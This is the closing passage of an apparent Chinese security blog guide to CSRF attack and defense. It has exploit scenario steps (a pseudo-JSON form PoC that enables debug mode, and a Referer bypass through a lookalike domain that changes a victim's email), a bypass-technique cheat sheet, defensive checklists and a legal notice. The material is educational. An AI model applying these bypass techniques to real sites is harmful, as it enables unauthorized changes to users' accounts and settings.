    测试 尝试表单格式提交 服务端force=True可解析
    构造 text/plain伪JSON PoC 利用enctype构造JSON
    利用 诱导用户访问 自动修改配置
    验证 检查配置是否变更 debug模式被开启

    场景5:Referer绕过 – 修改邮箱

    步骤操作详细说明
    发现 修改邮箱验证Referer 检查Referer包含关键词
    测试绕过 构造含关键词的Referer 注册target.evil.com域名
    构造 部署在绕过域名的PoC 表单自动提交
    利用 诱导用户访问 自动修改邮箱
    验证 检查邮箱是否修改 邮箱已被改为攻击者控制

    十三、总结与参考资源

    13.1 CSRF检查清单

    序号检查项是/否修复优先级
    1 所有状态变更操作使用POST/PUT/DELETE – 高
    2 所有表单包含CSRF Token – 高
    3 Token使用安全随机数生成(至少128位熵) – 高
    4 服务端严格验证Token(恒定时间比较) – 高
    5 Token设置合理过期时间 – 中
    6 Cookie设置SameSite=Lax或Strict – 高
    7 敏感操作验证Origin/Referer头 – 中
    8 API接口要求自定义请求头 – 中
    9 高危操作使用CAPTCHA二次验证 – 低
    10 crossdomain.xml配置严格白名单 – 中
    11 CORS不使用通配符+credentials – 高
    12 定期审计第三方集成和子域信任 – 中

    13.2 绕过技术速查表

    防御措施绕过方法适用条件
    CSRF Token 删除Token/空值绕过 服务端空值跳过
    CSRF Token Token复用 Token不过期
    CSRF Token XSS窃取Token 存在XSS漏洞
    Referer验证 空Referer 配置允许空值
    Referer验证 子字符串匹配 注册含关键词域名
    SameSite=Lax 顶层GET导航 GET型敏感操作
    SameSite=Lax 子域信任 Cookie Domain=父域
    Origin验证 null Origin iframe sandbox
    CORS限制 通配符+credentials CORS配置缺陷
    自定义头 无(无法绕过) 浏览器强制跨域预检

    13.3 防御配置速查表

    防御层配置项推荐值说明
    Cookie层 SameSite Lax/Strict 阻止大部分跨站Cookie
    Cookie层 Secure true 仅HTTPS传输
    Cookie层 HttpOnly true 防XSS窃取
    请求层 CSRF Token 128位随机 核心防御
    请求层 Origin验证 白名单匹配 辅助防御
    请求层 自定义头 X-Requested-With 阻止跨域简单请求
    应用层 方法限制 POST/PUT/DELETE 禁用GET操作
    应用层 CAPTCHA 高危操作触发 最终防线
    WAF层 Referer规则 白名单 流量层防护
    WAF层 速率限制 10次/分钟 防蠕虫传播
    架构层 子域隔离 独立Cookie域 减少信任范围
    架构层 CORS策略 精确白名单 防跨域滥用

    13.4 参考资源

    资源名称类型说明
    OWASP CSRF Prevention Cheat Sheet 官方指南 OWASP CSRF防御最佳实践
    OWASP Testing Guide v4.2 测试指南 CSRF测试方法论
    PortSwigger Web Security Academy 在线靶场 CSRF实战练习
    DVWA 靶场 经典Web漏洞靶场
    WebGoat 靶场 OWASP官方教学靶场
    Burp Suite Documentation 工具文档 CSRF POC生成器使用
    RFC 6265bis 标准 Cookie规范(含SameSite)
    MDN SameSite Cookie 文档 浏览器SameSite实现
    CWE-352 漏洞库 CSRF CWE分类
    CAPEC-62 攻击模式 CSRF攻击模式描述

    13.5 合规声明

    【提示】 本文涉及的所有CSRF攻击技术、PoC代码、绕过方法、蠕虫框架等内容,仅用于授权安全测试、网络安全教学和防御研究目的。在实际工作中,请严格遵守以下要求:第一,仅对已获得书面授权的系统进行安全测试;第二,不得在公网部署任何CSRF攻击页面或蠕虫载荷;第三,所有测试数据应使用靶场环境,不得影响真实用户;第四,发现的CSRF漏洞应通过负责任的漏洞披露流程报告给相关方。违反《中华人民共和国网络安全法》第二十七条关于非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等规定的行为,将承担相应法律责任。安全研究的最终目的是提升系统防护能力,请始终在法律和道德框架内开展工作。在这里插入图片描述

    赞(0)
    未经允许不得转载:171主机测评 » CSRF跨站请求伪造攻防实战:从原理到高级利用(2026全网最全指南)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址